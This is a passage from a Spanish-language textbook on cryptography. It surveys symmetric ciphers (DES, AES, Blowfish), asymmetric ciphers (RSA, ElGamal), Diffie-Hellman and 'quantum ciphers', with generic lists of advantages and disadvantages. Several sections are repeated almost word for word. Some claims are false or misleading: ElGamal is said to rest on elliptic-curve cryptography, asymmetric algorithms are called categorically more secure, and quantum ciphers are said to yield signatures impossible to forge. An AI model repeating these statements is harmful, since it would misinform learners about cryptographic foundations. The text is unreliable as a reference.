de la criptografía y los diferentes tipos de algoritmos
criptográficos. También se analizarán las ventajas y
desventajas de cada tipo de algoritmo.
Capítulo 24:
Introducción y
Fundamentos de la
Criptografía
267
Conceptos básicos de criptografía
La criptografía se basa en dos conceptos básicos:
Seguridad: La criptografía debe garantizar que solo las
personas autorizadas puedan acceder a la información cifrada.
Eficiencia: La criptografía debe ser lo suficientemente
eficiente para que sea práctica en aplicaciones reales.
Tipos de algoritmos criptográficos
Los algoritmos criptográficos se pueden
clasificar en dos categorías principales:
Algoritmos de cifrado de clave simétrica: Estos algoritmos
utilizan la misma clave para cifrar y descifrar la
información.
Algoritmos de cifrado de clave asimétrica: Estos algoritmos
utilizan dos claves diferentes para cifrar y descifrar la
información.
Algoritmos de cifrado de clave simétrica
Los algoritmos de cifrado de clave simétrica son los más
268
simples y eficientes. Estos algoritmos utilizan la misma clave
para cifrar y descifrar la información.
Algunos ejemplos de algoritmos de cifrado de
clave simétrica incluyen:
DES: Data Encryption Standard
AES: Advanced Encryption Standard
Blowfish: Blowfish
Algoritmos de cifrado de clave asimétrica
Los algoritmos de cifrado de clave asimétrica son más
complejos que los algoritmos de clave simétrica, pero ofrecen
una mayor seguridad. Estos algoritmos utilizan dos claves
diferentes para cifrar y descifrar la información.
Una clave se denomina clave pública y la otra se denomina
clave privada. La clave pública se puede compartir con
cualquier persona, pero la clave privada debe mantenerse en
secreto.
Algunos ejemplos de algoritmos de cifrado de clave asimétrica
incluyen:
RSA: Rivest-Shamir-Adleman
ElGamal: ElGamal
269
Diffie-Hellman: Diffie-Hellman
Ventajas y desventajas de los algoritmos
criptográficos
Los algoritmos criptográficos tienen una serie de ventajas y
desventajas.
Ventajas:
Seguridad: Los algoritmos criptográficos pueden proporcionar
un alto nivel de seguridad.
Eficiencia: Los algoritmos criptográficos pueden ser muy
eficientes.
Versatilidad: Los algoritmos criptográficos se pueden utilizar
en una variedad de aplicaciones.
Desventajas:
Complejidad: Los algoritmos criptográficos pueden ser
complejos de implementar y usar.
Costo: Los algoritmos criptográficos pueden ser costosos de
desarrollar y mantener.
Algoritmos de cifrado de clave simétrica
270
Los algoritmos de cifrado de clave simétrica son los más
simples y eficientes. Estos algoritmos utilizan la misma clave
para cifrar y descifrar la información.
DES: Data Encryption Standard
El algoritmo DES es uno de los algoritmos de cifrado de clave
simétrica más antiguos y ampliamente utilizados. Fue
desarrollado por el gobierno de los Estados Unidos en la
década de 1970 y se convirtió en el estándar de cifrado de
facto para el gobierno y las empresas.
El algoritmo DES utiliza una clave de 56 bits para cifrar la
información. Esta clave se puede generar de forma aleatoria o
se puede basar en una contraseña.
AES: Advanced Encryption Standard
El algoritmo AES es el sucesor de DES. Fue desarrollado por el
Instituto Nacional de Estándares y Tecnología (NIST) de los
Estados Unidos y se convirtió en el estándar de cifrado de
facto para el gobierno y las empresas en 2001.
El algoritmo AES utiliza una clave de 128, 192 o 256 bits para
cifrar la información. Esta clave se puede generar de forma
aleatoria o se puede basar en una contraseña.
Blowfish: Blowfish
El algoritmo Blowfish es un algoritmo de cifrado de clave
simétrica de código abierto. Fue desarrollado por Bruce
Schneier en 1993 y es conocido por su seguridad y eficiencia.
271
El algoritmo Blowfish utiliza una clave de 32 a 448 bits para
cifrar la información. Esta clave se puede generar de forma
aleatoria o se puede basar en una contraseña.
Algoritmos de cifrado de clave asimétrica
Los algoritmos de cifrado de clave asimétrica son más
complejos que los algoritmos de clave simétrica, pero ofrecen
una mayor seguridad. Estos algoritmos utilizan dos claves
diferentes para cifrar y descifrar la información.
RSA: Rivest-Shamir-Adleman
El algoritmo RSA es uno de los algoritmos de cifrado de clave
asimétrica más ampliamente utilizados. Fue desarrollado por
Ron Rivest, Adi Shamir y Leonard Adleman en 1977.
El algoritmo RSA utiliza dos claves diferentes: una clave
pública y una clave privada. La clave pública se puede
compartir con cualquier persona, pero la clave privada debe
mantenerse en secreto.
ElGamal:
El algoritmo ElGamal es un algoritmo de cifrado de clave
asimétrica que se basa en la criptografía de curva elíptica.
Fue desarrollado por Taher ElGamal en 1985.
El algoritmo ElGamal utiliza dos claves diferentes: una clave
pública y una clave privada. La clave pública se puede
compartir con cualquier persona, pero la clave privada debe
mantenerse en secreto.
272
Diffie-Hellman: Diffie-Hellman
El algoritmo Diffie-Hellman es un algoritmo de intercambio de
claves que se utiliza para establecer una clave compartida
entre dos partes de forma segura. Fue desarrollado por
Whitfield Diffie y Martin Hellman en 1976.
El algoritmo Diffie-Hellman no es un algoritmo de cifrado,
pero se utiliza a menudo en combinación con algoritmos de
cifrado de clave asimétrica para proporcionar un mayor nivel
de seguridad.
Capítulo 25:
Cifrados Cuánticos
y Simétricos
273
Cifrados cuánticos
Los cifrados cuánticos utilizan principios de la mecánica
cuántica para proteger la información. Los cifrados cuánticos
son mucho más seguros que los cifrados tradicionales, pero
también son más complejos y menos eficientes.
Ventajas y desventajas de los cifrados cuánticos
Los cifrados cuánticos tienen una serie de ventajas y
desventajas.
Ventajas:
Seguridad: Los cifrados cuánticos son mucho más seguros que
los cifrados tradicionales.
Integridad: Los cifrados cuánticos pueden garantizar la
integridad de la información.
Autenticidad: Los cifrados cuánticos pueden garantizar la
autenticidad de la información.
Desventajas:
274
Complejidad: Los cifrados cuánticos son más complejos que los
cifrados tradicionales.
Eficiencia: Los cifrados cuánticos son menos eficientes que
los cifrados tradicionales.
Costo: Los cifrados cuánticos son más costosos que los
cifrados tradicionales.
Aplicaciones
Los cifrados cuánticos se pueden utilizar en una variedad de
aplicaciones, incluyendo:
Cifrado de datos: Los cifrados cuánticos se pueden utilizar
para cifrar datos confidenciales, como información financiera
o datos médicos.
Firmas digitales: Los cifrados cuánticos se pueden utilizar
para crear firmas digitales que sean imposibles de falsificar.
Intercambio de claves: Los cifrados cuánticos se pueden
utilizar para establecer claves compartidas de forma segura.
Protocolos de seguridad: Los protocolos de seguridad que
utilizan cifrado pueden mejorar la seguridad de la
comunicación.
275